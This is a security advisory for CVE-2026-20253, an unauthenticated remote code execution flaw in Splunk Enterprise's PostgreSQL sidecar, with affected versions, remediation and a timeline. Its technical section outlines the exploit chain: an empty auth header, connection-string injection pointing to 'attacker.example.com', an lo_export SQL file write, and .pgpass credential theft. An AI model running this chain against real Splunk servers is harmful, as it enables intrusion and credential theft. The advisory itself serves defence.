What is Splunk Enterprise?
Splunk Enterprise is the leading SIEM (Security Information and Event Management) and log analytics platform, deployed by enterprises and government agencies to ingest, index, and search security telemetry across their entire infrastructure. Because Splunk aggregates logs from every server, network device, and security tool in an organization — and often stores credentials, API keys, and authentication tokens in its data — compromising a Splunk instance gives an attacker a privileged map of the entire environment and a trusted pivot point inside the security operations network. CVE-2026-20253 is the first Splunk vulnerability ever added to CISA's Known Exploited Vulnerabilities catalog.
Overview
CVE-2026-20253 is a missing authentication vulnerability (CWE-306) in the PostgreSQL sidecar service bundled with Splunk Enterprise 10.x. Two recovery endpoints are reachable from the network via Splunk's main web port (8000) with no authentication whatsoever — an empty credential header is accepted. An unauthenticated attacker can chain these endpoints to write arbitrary files to the Splunk server filesystem and achieve remote code execution as the Splunk service account.
The vulnerability was discovered by Alex Hordijk (@hordalex), patched June 10, 2026, and publicly exploited within five days of a detailed technical write-up by watchTowr Labs. CISA issued a 3-day remediation deadline — one of the shortest on record — reflecting the urgency of active exploitation against internet-exposed Splunk instances.
Affected Versions
| Product | Vulnerable range | Fixed version |
|---|---|---|
| Splunk Enterprise 10.2.x | 10.2.0 – 10.2.3 | 10.2.4 |
| Splunk Enterprise 10.0.x | 10.0.0 – 10.0.6 | 10.0.7 |
| Splunk Enterprise 10.4.x | Not affected | — |
| Splunk Enterprise 9.4.x and earlier | Not affected | — |
| Splunk Cloud Platform | Not affected | — |
The PostgreSQL sidecar service was introduced in Splunk Enterprise 10.x and is enabled by default on Linux and AWS deployments. Windows on-premise installs typically do not have the sidecar enabled.
Technical Details
The sidecar service is a Go binary that manages PostgreSQL backup and recovery to support Splunk's Edge Processor, OpAmp, and SPL2 pipeline features. It listens on 127.0.0.1:5435 internally, but Splunk's web application on port 8000 proxies requests to it — making the following endpoints network-reachable by any unauthenticated client:
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
Both endpoints accept any Authorization header value, including the empty basic auth token Authorization: Basic Og== (base64 of a bare colon : ).
Full pre-auth RCE chain (documented by watchTowr Labs):
-
Connection string injection: The
databaseparameter is passed unsanitized topg_dump. Injectinghostaddr=attacker.example.comredirects the PostgreSQL client to connect to an attacker-controlled PostgreSQL server. -
Malicious dump delivery: The attacker's PostgreSQL server returns a crafted dump containing a SQL function that uses PostgreSQL's
lo_export()large-object export to write arbitrary bytes to the filesystem:CREATE FUNCTION pwn_f(i int) RETURNS bool LANGUAGE plpgsql ... l := lo_from_bytea(0, '\x[PAYLOAD]'::bytea); PERFORM lo_export(l, '/opt/splunk/etc/apps/.../target.py'); -
Credential harvesting: The
passfileconnection string parameter can be set to/opt/splunk/var/packages/data/postgres/.pgpass, which contains plaintextpostgres_admincredentials — used to authenticate the restore operation against the local PostgreSQL cluster. -
Restore trigger: Calling the
/restoreendpoint with the injected credentials executes the malicious SQL, writing the attacker's Python payload to a Splunk application script directory. -
RCE: Splunk periodically executes Python scripts in its application directories (e.g.,
ssg_enable_modular_input.pyin the Splunk Secure Gateway app). The overwritten script executes on the next scheduled run as thesplunkservice account.
Detection signal: Send a POST to /v1/postgres/recovery/backup with empty credentials — an HTTP 400 response indicates a vulnerable instance; HTTP 401 indicates patched.
Discovery
Alex Hordijk (@hordalex) discovered and reported the vulnerability to Splunk. The patch was released June 10, 2026. Piotr Bazydlo and Yordan Ganchev of watchTowr Labs independently developed the full RCE chain and published a technical write-up with a detection-only proof-of-concept on June 12 — two days after patch release.
Exploitation Context
Active in-the-wild exploitation was confirmed by Splunk and Resecurity by June 18, 2026. No specific threat actor or ransomware group has been publicly attributed as of June 19; exploitation is characterized as opportunistic. Shadowserver tracked approximately 1,400 internet-exposed Splunk management interfaces at time of disclosure — modest absolute numbers but high-value targets given Splunk's privileged position in enterprise security infrastructure.
This is the first Splunk vulnerability ever added to CISA's KEV catalog. The 3-day federal remediation deadline (June 18–21) is one of the shortest ever issued under BOD 26-04, signaling CISA's assessment of both exploitation severity and victim profile (federal agencies).
Remediation
- Patch immediately: Upgrade to Splunk Enterprise 10.2.4 (for 10.2.x) or 10.0.7 (for 10.0.x). Splunk 10.4.0 and 9.4.x are not affected.
- Workaround if patching is blocked: Add the following to
$SPLUNK_HOME/etc/system/local/server.confand restart Splunk:
Do not apply this workaround if the deployment uses Edge Processor, OpAmp, or SPL2 data pipelines — disabling the sidecar breaks all three features.[postgres] disabled = true - Network isolation: Restrict Splunk's web port (8000) to trusted internal networks and VPN — Splunk management interfaces should never be internet-facing.
- Audit access logs: Search for unauthenticated
POSTrequests to/splunkd/__raw/v1/postgres/recovery/and flag any requests containinghostaddr=,passfile=, or path traversal sequences in the request body. - Hunt for compromise: If exposed, check for unexpected files in Splunk app
bin/directories, look for new or modified Python scripts in/opt/splunk/etc/apps/, and review Splunk's internal process logs for unexpected child process execution.
Key Details
| Property | Value |
|---|---|
| CVE ID | CVE-2026-20253 |
| Vendor / Product | Splunk — Enterprise |
| NVD Published | 2026-06-10 |
| NVD Last Modified | 2026-06-19 |
| CVSS 3.1 Score | 9.8 |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Severity | CRITICAL |
| CWE | CWE-306 find similar ↗ |
| CISA KEV Added | 2026-06-18 |
| CISA KEV Deadline | 2026-06-21 |
| Known Ransomware Use | No |
CVSS 3.1 Breakdown
Required Action
Timeline
| Date | Event |
|---|---|
| 2026-06-10 | Splunk patches released; advisory SVD-2026-0603 published (discoverer: Alex Hordijk) |
| 2026-06-12 | watchTowr Labs publishes full technical write-up and detection PoC |
| 2026-06-13 | Public PoC and Nuclei template published on GitHub |
| 2026-06-15 | Active in-the-wild exploitation first observed |
| 2026-06-18 | Splunk confirms limited exploitation; CISA adds to KEV catalog |
| 2026-06-21 | CISA BOD 26-04 remediation deadline |
References
| Resource | Type |
|---|---|
| Splunk Security Advisory SVD-2026-0603 | Vendor Advisory |
| watchTowr Labs — Technical Deep-Dive and PoC | Security Research |
| NVD — CVE-2026-20253 | Vulnerability Database |
| CISA KEV Catalog Entry | US Government |
| BleepingComputer — CISA: Splunk Enterprise Flaw Actively Exploited | News |
| SecurityWeek — Splunk Enterprise Vulnerability Exploited Days After Disclosure | News |
| Horizon3.ai — CVE-2026-20253 Attack Research | Security Research |